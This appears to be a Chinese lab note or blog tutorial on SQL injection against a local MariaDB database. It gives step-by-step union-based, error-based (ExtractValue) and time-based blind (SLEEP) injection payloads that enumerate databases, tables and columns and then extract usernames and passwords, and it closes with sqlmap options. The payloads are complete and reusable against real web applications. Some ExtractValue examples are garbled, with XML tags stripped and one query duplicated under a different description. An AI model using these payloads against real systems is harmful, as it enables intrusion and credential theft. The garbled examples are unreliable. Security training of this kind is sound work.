SQL注入实验笔记
发布时间:2026/9/27 3:50:03来源:尧图网络
一、环境搭建1.1安装mycli使用mycli工具连接MariaDB数据库。mycli是一个SQL命令行客户端支持自动补全和语法高亮。1.2创建user数据库连接数据库后查看现有数据库列表确认user数据库已创建。1.3往表中插入数据切换到user数据库查看表结构并查询已有数据。二、SQL注入测试2.1构造闭合SQL代码通过构造特殊的SQL注入语句使原始查询逻辑发生变化从而实现数据获取。2.2 Union注入Union注入原理说明UNION是SQL标准中的一个操作符用于将两个或多个SELECT语句的查询结果合并成一个结果集。在SQL注入中攻击者利用UNION操作符将恶意构造的SELECT查询附加到原始查询之后。只要注入的SELECT语句与原始查询的列数相同且数据类型兼容数据库就会将两部分结果合并返回。这使得攻击者能够在正常的业务页面中直接提取出数据库中其他表的数据。Union注入的核心前提条件包括1原始查询必须使用SELECT语句2注入点必须位于SELECT语句中且能够控制查询的列3前后两个SELECT语句的列数必须一致4数据类型需要兼容。满足以上条件后攻击者即可通过UNION将恶意查询的结果与原始查询结果合并显示在页面上。完整的5步注入流程步骤一测试列数ORDER BY注入原理在进行Union注入前首先需要确定原始SQL查询语句中包含的列数。UNION操作符要求前后两个SELECT语句的列数必须完全一致否则数据库会抛出UNION SELECT列数不匹配的语法错误。因此通过逐步递增ORDER BY后面的数字可以找到原始查询的列数。当ORDER BY后面的数字超过实际列数时数据库会返回错误。SQL注入语句select name,password from user.userinfo where namexxxx and password order by 1 #;返回结果分析当order by后面的数字小于或等于实际列数时页面正常返回当数字超过实际列数时页面报错或无结果返回。通过二分法或逐步递增可以确定列数。注意事项某些数据库对ORDER BY数字的解释可能不同建议同时使用UNION SELECT配合递增数字进行精确验证。另外注释符#或--需要将后面的原始SQL语句注释掉防止语法错误。步骤二获取数据库名注入原理在确定列数后利用UNION将恶意SELECT查询与原查询合并。通过使用information_schema.schemata系统表可以查询数据库中所有的数据库名。group_concat函数用于将多行结果拼接成一个字符串。SQL注入语句select name,password from user.userinfo where namexxxx and password union select 1,group_concat(schema_name),3 from information_schema.schemata #;返回结果geek, information_schema, performance_schema, test, mysql结果分析返回结果中包含了目标服务器上所有的数据库名称。其中geek是我们需要攻击的目标数据库information_schema是MySQL的系统信息库包含所有数据库的元数据performance_schema是性能监控库test是默认测试库mysql是MySQL权限系统库。注意事项如果返回结果被截断可能是group_concat的长度限制默认1024字节可以通过设置group_concat_max_len变量来解决。步骤三获取表名注入原理在获取到目标数据库名geek后通过查询information_schema.tables系统表可以获取该数据库下的所有表名。通过WHERE条件过滤table_schema为目标数据库名可以精确获取目标库的表结构信息。SQL注入语句select name,password from user.userinfo where namexxxx and password union select 1,group_concat(table_name),3 from information_schema.tables where table_schema geek #;返回结果geekuser, l0ve1ysq1结果分析目标数据库geek下包含两个表geekuser和l0ve1ysq1。其中l0ve1ysq1表名看起来像是经过混淆的可能包含敏感数据如用户凭证。需要进一步查询该表的列结构。注意事项如果表名较多group_concat可能会截断结果。可以使用LIMIT子句分批获取或者查询table_type过滤掉视图等。步骤四获取列名注入原理在确定目标表名l0ve1ysq1后通过查询information_schema.columns系统表可以获取该表的所有列名。这有助于了解表的结构从而构造正确的数据提取语句。SQL注入语句select name,password from user.userinfo where namexxxx and password union select 1,group_concat(column_name),3 from information_schema.columns where table_schema geek and table_name l0ve1ysq1 #;返回结果id, username, password结果分析l0ve1ysq1表包含三列id主键标识、username用户名、password密码。这确认了该表存储了用户凭证信息是攻击者需要提取的目标数据。注意事项column_name需要与table_name配合使用WHERE条件进行过滤否则可能返回多个表的列名导致结果混乱。步骤五获取数据注入原理在获取到目标表的所有列名后直接查询该表的数据即可获取敏感信息。通过UNION注入将SELECT查询的结果合并到原始查询中最终在页面上回显用户名和密码数据。SQL注入语句select name,password from user.userinfo where namexxxx and password union select 1,group_concat(username),group_concat(password) from geek.l0ve1ysq1 #;结果分析通过group_concat分别拼接所有用户名和密码可以在页面回显中直接看到所有用户的凭证信息。这是Union注入的最终目标——直接提取数据库中的敏感数据。注意事项group_concat默认有长度限制如果数据量较大可能需要分批次提取。另外实际环境中可能需要对特殊字符进行URL编码或转义处理。Union注入流程总结Union注入是一种高效且直观的SQL注入方式其核心在于列数匹配与回显利用。完整的注入流程遵循判断注入点→确定列数→获取数据库名→获取表名→获取列名→提取数据的逻辑链条。该方法适用于有明确数据回显的场景攻击者可以在较少的请求次数内获取大量数据库信息。但在无回显、WAF拦截或列数过多时可能失效此时需转向报错注入或盲注技术。2.3报错注入报错注入的原理报错注入是一种利用数据库在执行特定函数时产生的错误信息来泄露数据的注入技术。当攻击者构造的Payload触发数据库的XML解析、几何计算或其他内置函数的异常时数据库会将错误消息包括函数参数中的子查询结果返回给前端应用从而实现数据泄露。在MySQL中ExtractValue函数本用于从XML字符串中提取指定XPath路径的数据。但当第二个参数XPath表达式格式不合法时MySQL会抛出XPATH语法错误并且错误消息中会包含非法XPath参数的原始内容。攻击者利用这一特性将子查询结果作为非法XPath参数传入从而在错误信息中回显出数据库中的敏感数据。ExtractValue函数语法说明ExtractValue(xml_document, xpath_string)函数接受两个参数xml_document待解析的XML文档字符串通常构造为一个简单的XML结构。xpath_stringXPath表达式字符串用于定位XML中的节点。当该表达式格式不合法时如以~开头或使用无效的XPath语法MySQL会抛出错误并将该字符串内容包含在错误消息中返回。常见的报错函数还包括UpdateXML()、XMLType()、ST_LatFromGeoHash()、ST_LongFromGeoHash()等它们都利用了类似的将子查询结果嵌入错误消息的机制。示例查询逐一解析以下5个ExtractValue示例展示了该函数在不同XPath表达式下的行为差异以及如何在实际注入中利用这些行为示例1基本XML提取合法XPathSQL语句SELECT ExtractValue(acccbddd/b/a, /a) AS val1;含义使用合法的XPath表达式/a提取XML文档中根节点a下的直接子节点内容。由于a节点下没有直接文本子节点只有b子元素返回空值或节点内容。预期结果返回空或ccc取决于MySQL版本对XML文本节点的解析方式。示例2提取嵌套节点SQL语句SELECT ExtractValue(acccbddd/b/a, /a/b) AS val2;含义使用XPath表达式/a/b定位到a节点下的b子节点返回其文本内容ddd。这是一个合法的XPath查询正常返回结果。预期结果返回ddd。示例3使用通配符提取SQL语句SELECT ExtractValue(acccbddd/b/a, //b) AS val3;含义使用XPath表达式//b在整个XML文档中查找所有名为b的节点无论层级深度。这是一个合法的递归搜索表达式。预期结果返回ddd。示例4非法XPath触发报错关键SQL语句SELECT ExtractValue(acccbddd/b/a, /b) AS val4;含义使用XPath表达式/b尝试从根节点直接查找b子节点但XML文档的根节点是a而非b因此找不到匹配节点。在某些MySQL版本中这会返回空值而非报错。预期结果返回空值不报错。注意这取决于MySQL版本某些版本可能不会对此类情况报错。示例5利用非法XPath触发数据泄露核心攻击SQL语句SELECT ExtractValue(acccbddd/b/a, //b) AS val5;含义当将子查询结果作为XPath参数传入时如SELECT ExtractValue(1, CONCAT(0x7e, (SELECT database()), 0x7e))子查询database()的返回值会被当作XPath表达式解析。由于返回的数据库名如geek不是合法的XPath表达式MySQL抛出XPATH语法错误并将该字符串内容包含在错误消息中返回。预期结果报错信息形如 XPATH syntax error: ~geek~从而泄露数据库名。这是报错注入的核心攻击手法通过CONCAT函数将子查询结果与特殊字符拼接构造出非法的XPath表达式利用数据库错误消息回显数据。报错注入的实际利用场景报错注入适用于页面不直接回显查询结果但会返回详细数据库错误信息的场景。通过逐步替换ExtractValue中的子查询可以依次获取数据库名、版本信息、表名、列名及具体数据。获取数据库名SELECT ExtractValue(1, CONCAT(0x7e, (SELECT database()), 0x7e));获取所有表名SELECT ExtractValue(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schemadatabase()), 0x7e));获取指定表的列名SELECT ExtractValue(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_namel0ve1ysq1), 0x7e));获取用户数据SELECT ExtractValue(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(username,0x3a,password) FROM geek.l0ve1ysq1 LIMIT 0,5), 0x7e));报错注入的优缺点优点1不依赖UNION的列数匹配和回显位置适用范围更广2单次请求即可获取聚合数据如GROUP_CONCAT3适用于多种数据库系统MySQL、MSSQL、Oracle均有类似的报错函数。缺点1依赖错误信息回显若生产环境关闭了详细报错显示则失效2ExtractValue等函数有长度限制通常32字节左右超长数据需分次提取3容易被WAFWeb应用防火墙识别和拦截4部分MySQL版本对该函数的行为有所调整兼容性存在差异。2.4时间盲注时间盲注的原理时间盲注是一种在页面无数据回显、无错误信息回显的情况下通过数据库的时间延迟函数来推断数据内容的注入技术。与布尔盲注依赖页面内容的细微差异不同时间盲注通过观察服务器响应时间的长短来判断条件真假若条件为真则执行SLEEP()或BENCHMARK()函数导致明显的时间延迟若条件为假则语句立即执行完毕返回。时间盲注适用于所有类型的SQL注入场景尤其是当攻击者无法从页面响应中获取任何有效信息时即无回显场景。它是盲注技术中的终极手段虽然效率较低但几乎不受页面回显方式的影响。与布尔盲注的区别布尔盲注通过构造真假条件语句观察页面返回内容的差异如正常页面vs空页面来推断数据而时间盲注则通过观察响应时间的差异延迟返回vs立即返回来判断条件真假。时间盲注在页面内容完全不变但存在时间延迟可检测的场景下更为有效。核心函数说明IF(condition, true_value, false_value)条件判断函数。当condition为TRUE时返回true_value否则返回false_value。在时间盲注中用于根据条件真假执行不同的操作如是否延迟。ASCII(str)返回字符串str最左边字符的ASCII码值。用于将字符转换为数值进行比较判断。SUBSTR(str, pos, len)从字符串str的第pos位置开始截取长度为len的子串。用于逐字符提取目标字符串。SLEEP(seconds)MySQL延时函数使当前语句执行暂停指定的秒数。是时间盲注中最常用的延迟函数。BENCHMARK(count, expr)重复执行表达式expr指定count次用于消耗CPU时间产生延迟。当SLEEP函数被禁用时可以作为替代方案。LENGTH(str)返回字符串str的长度以字符为单位。用于先获取目标字符串的长度再逐字符提取。完整的手工注入流程第1步判断注入点是否存在注入原理首先通过构造带有时间延迟条件的注入语句验证注入点是否存在以及数据库是否支持时间函数。如果条件为真时页面明显延迟返回说明注入点存在且时间函数可用。SQL注入语句select name,password from user.userinfo where namexxxx and password and if(11,sleep(3),1) #;结果分析如果页面延迟约3秒后返回说明注入点存在且SLEEP函数可用。如果立即返回则可能注入点不存在或SLEEP函数被禁用。第2步获取数据库名长度注入原理在确认注入点存在后首先需要获取目标数据库名的字符长度。通过二分法或遍历方式逐步猜测长度值当条件为真时页面延迟返回从而确定长度。SQL注入语句select name,password from user.userinfo where namexxxx and password and if(length(database())4,sleep(3),1) #;结果分析通过尝试不同的长度值如length(database())1、2、3、4...当页面出现延迟时即可确定数据库名的字符长度。第3步逐字符获取数据库名注入原理在获取数据库名长度后使用SUBSTR函数逐位截取数据库名的每个字符再通过ASCII函数将其转换为ASCII码值与猜测的数值进行比较。当猜测正确时条件为真触发SLEEP延迟。SQL注入语句猜测数据库名第1个字符select name,password from user.userinfo where namexxxx and password and if(ascii(substr(database(),1,1))103,sleep(3),1) #;结果分析substr(database(),1,1)提取数据库名的第1个字符ascii()将其转为ASCII码。若该字符的ASCII码等于103即字符g则条件为真触发延迟。通过逐位猜测第1位、第2位、第3位...最终可以拼出完整的数据库名如geek。第4步获取表名注入原理利用information_schema.tables系统表查询目标数据库下的所有表名同样通过SUBSTRASCII逐字符提取。需要先获取表名总数再逐个表名逐字符提取。SQL注入语句获取第一个表名的第1个字符select name,password from user.userinfo where namexxxx and password and if(ascii(substr((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),1,1))103,sleep(3),1) #;结果分析子查询(select table_name from information_schema.tables where table_schemadatabase() limit 0,1)获取第一个表名外层通过SUBSTRASCII逐字符猜测。配合LIMIT偏移量可以遍历所有表名。第5步获取列名注入原理在获取目标表名后通过查询information_schema.columns系统表获取该表的所有列名。方法与获取表名相同使用SUBSTRASCII逐字符提取。SQL注入语句获取指定表的第1个列名select name,password from user.userinfo where namexxxx and password and if(ascii(substr((select column_name from information_schema.columns where table_namel0ve1ysq1 limit 0,1),1,1))105,sleep(3),1) #;结果分析通过修改table_name参数和LIMIT偏移量可以获取目标表的所有列名如id、username、password。第6步提取目标数据注入原理在获取到表结构和列名后直接查询目标表中的数据。通过SUBSTRASCII逐字符提取用户名、密码等敏感信息。SQL注入语句提取第1个用户的用户名select name,password from user.userinfo where namexxxx and password and if(ascii(substr((select username from geek.l0ve1ysq1 limit 0,1),1,1))97,sleep(3),1) #;结果分析直接查询geek.l0ve1ysq1表中的username列逐字符提取用户凭证信息。通过修改LIMIT偏移量和列名可以提取所有用户的数据。时间盲注的优缺点优点1适用范围最广几乎不受页面回显方式、错误信息显示、WAF部分的限制2逻辑简单直观仅依赖时间判断易于理解和实现3适用于几乎所有类型的数据库和注入场景。缺点1效率极低每个字符需要多次请求进行猜测通常每个字符需要7-8次请求提取大量数据耗时极长2对网络延迟和服务器负载敏感可能产生误判3SLEEP函数容易被WAF规则拦截4BENCHMARK函数可能导致服务器CPU过载产生拒绝服务效果。自动化注入工具简介鉴于时间盲注的手工操作极其繁琐且效率低下在实际安全测试中通常使用自动化工具来执行注入过程。最经典的工具是sqlmap它内置了多种时间盲注Payload模板支持自动识别数据库类型、列数、字符集等信息并通过多线程和二分搜索算法大幅加速数据提取过程。sqlmap的常用时间盲注参数包括--techniqueT指定时间盲注技术、--time-sec5自定义延迟阈值默认5秒、--delay2每次请求间隔2秒避免被检测。在合法授权的安全测试中sqlmap是应对复杂盲注场景的首选工具但需注意控制请求频率避免对目标系统造成拒绝服务影响。
网站建设高端定制企业官网